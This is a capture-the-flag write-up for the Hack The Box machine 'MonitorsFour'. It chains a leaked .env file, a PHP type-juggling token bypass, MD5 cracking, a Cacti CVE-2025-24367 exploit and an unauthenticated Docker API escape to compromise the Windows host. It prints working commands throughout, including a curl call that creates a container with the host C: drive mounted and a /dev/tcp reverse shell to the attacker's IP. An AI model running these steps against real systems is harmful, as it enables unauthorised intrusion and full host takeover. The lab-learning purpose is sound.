HTB – MonitorsFour
HTB MonitorsFour: From Web App to Windows Host
Target: monitorsfour.htb
Difficulty: Easy
Date: December 12, 2025
This was such a fun box! It taught me about PHP type juggling vulnerabilities, Docker escapes, and how to leverage an exposed Docker API to compromise a Windows host. Let me walk you through exactly how I solved it.
Step 1: Initial Reconnaissance
First things first - let’s see what we’re working with.
Port Scanning
nmap -sC -sV -sT 10.10.11.98
Results: Port 80 (HTTP) was open. and 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Directory Enumeration
I fired up dirsearch to find hidden directories:
dirsearch -u http://monitorsfour.htb -x 404
Jackpot! Found /.env - a configuration file that should NEVER be public. Inside were database credentials:
DB_HOST=mariadb
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f*********
💡 Pro tip: Always check for
.env,.git, and backup files. Developers forget about them all the time.
Subdomain Discovery
Next, I checked for subdomains using ffuf:
ffuf -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
Found: cacti.monitorsfour.htb running Cacti version 1.2.28 (a network monitoring tool).
Step 2: Exploiting PHP Type Juggling
Finding the Vulnerable Endpoint
While exploring the main site, I discovered a /user endpoint:
curl http://monitorsfour.htb/user
Response: {"error":"Missing token parameter"}
When I added a fake token:
curl http://monitorsfour.htb/user?token=AAAA
Response: {"error":"Invalid or missing token"}
Understanding PHP Type Juggling
Here’s where it gets interesting. PHP has this quirk with loose comparisons (== vs ===). When developers use ==, PHP tries to convert types automatically:
"0" == 0→true"0e1234" == 0→true(scientific notation!)"" == 0→true"00" == 0→true
If the token validation uses something like if ($token == $valid_token), we can bypass it!
Testing the Bypass
I created a quick wordlist:
0
00
0e1234
0e9999
true
false
Then tested each one:
for token in 0 00 0e1234 ""; do
echo "Testing: $token"
curl -s "http://monitorsfour.htb/user?token=$token"
echo ""
done
Success! Multiple tokens worked: 0, 00, 0e1234, and even empty string.
Extracting User Data
curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool
Got back a list of users with MD5 hashed passwords, including the admin user!
Step 3: Cracking the Admin Hash
Using John the Ripper
I saved the admin hash and fired up John:
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Cracked in 3 seconds: wonderful1
Testing the Credentials
Tried on the main site - no luck. But then I remembered the Cacti subdomain!
marcus:wonderful1 on cacti.monitorsfour.htb → Success! 🎉
Step 4: Exploiting Cacti for Initial Shell
Finding the Right Exploit
Cacti 1.2.28 was vulnerable to CVE-2025-24367 - a Graph Template Injection vulnerability. Essentially, admins can create graph templates that execute arbitrary commands through rrdtool.
Found a working PoC on GitHub:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
Getting a Reverse Shell
Set up my listener:
nc -lnvp 60001
Ran the exploit:
python3 exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.14.77 -l 60001
Output:
[+] Cacti Instance Found!
[+] Login Successful!
[+] Got graph ID: 226
[+] Hit timeout, looks good for shell, check your listener!
And boom! Got a shell as www-data:
www-data@821fbd6a43fa:~/html/cacti$
Step 5: Container Enumeration
Initial Exploration
whoami
# www-data
hostname
# 821fbd6a43fa (Docker container!)
pwd
# /var/www/html/cacti
I was inside a Docker container. Let’s grab the user flag first:
cd /home/marcus
cat user.txt
# [USER FLAG CAPTURED! ✅]
Network Discovery
Checked the network configuration:
ip addr show
# 172.18.0.3 (my container)
ip route
# default via 172.18.0.1 dev eth0
# 172.18.0.0/16 dev eth0
cat /etc/resolv.conf
# nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]
This revealed:
- 172.18.0.3: Cacti container (me)
- 172.18.0.2: MariaDB container
- 192.168.65.7: Docker host (Windows!)
Scanning the Host
I needed a network scanner. Downloaded fscan to the container:
# On my Kali
wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 -O /tmp/fscan
chmod +x /tmp/fscan
python3 -m http.server 8000
# On target
curl http://10.10.14.77:8000/fscan -o /tmp/fscan
chmod +x /tmp/fscan
Ran the scan:
/tmp/fscan -h 192.168.65.7 -p 2375-2380,22,80,443,3389,5985,5986,8080-8081,9000-9001 -np -t 200
Critical finding:
192.168.65.7:2375 open
[+] http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
Port 2375 = Unauthenticated Docker API! This is our ticket to the host.
Step 6: Docker API Escape (CVE-2025-9074)
Understanding the Vulnerability
Docker Desktop for Windows (older versions) exposes the Docker daemon on port 2375 within the WSL2 network. This lets ANY container control the Docker engine.
The attack plan:
- Create a new privileged container
- Mount the Windows C: drive inside it
- Get a reverse shell with full host access
Verifying Docker API Access
curl -s http://192.168.65.7:2375/version
# Got version info - API is wide open!
Listing Available Images
curl -s http://192.168.65.7:2375/images/json
Found: docker_setup-nginx-php:latest
Creating the Malicious Container
Set up another listener on my Kali:
nc -lnvp 60002
Created a JSON payload to mount the host’s C: drive:
YOUR_IP="10.10.14.77"
curl -H 'Content-Type: application/json' \
-d "{\"Image\":\"docker_setup-nginx-php:latest\",\"Cmd\":[\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/$YOUR_IP/60002 0>&1\"],\"HostConfig\":{\"Binds\":[\"/mnt/host/c:/host_root\"]}}" \
http://192.168.65.7:2375/containers/create -o response.json
Got back a container ID. Started it:
# Extract container ID from response
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)
# Start the container
curl -X POST http://192.168.65.7:2375/containers/$cid/start
Step 7: Root Flag Capture
Getting the Privileged Shell
My listener caught the connection:
nc -lnvp 60002
# Connection from 10.10.11.98
root@5d42e10b2055:/var/www/html#
I’m now root with the entire Windows C: drive mounted at /host_root!
Finding the Root Flag
ls /host_root/Users/Administrator/Desktop/
# desktop.ini root.txt
There it is! Reading it:
head /host_root/Users/Administrator/Desktop/root.txt
# [ROOT FLAG CAPTURED! ✅]
📝 Note: I used
headinstead ofcatdue to some terminal encoding issues.
Summary of Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Port scanning |
| Dirsearch | Directory enumeration |
| FFUF | Subdomain fuzzing |
| cURL | API testing and exploitation |
| John the Ripper | Password cracking |
| Netcat | Reverse shells |
| fscan | Network scanning from container |
| CVE-2025-24367 Exploit | Cacti RCE |
| Docker API | Container escape |
Attack Chain Visualization
1. .env file leak → DB credentials
2. PHP type juggling → User data dump
3. MD5 crack → Cacti access (marcus:wonderful1)
4. CVE-2025-24367 → Shell as www-data in container
5. Network scan → Docker API on port 2375
6. Docker API abuse → Privileged container with C: mount
7. Root shell → Complete Windows host compromise
Happy hacking! 🚀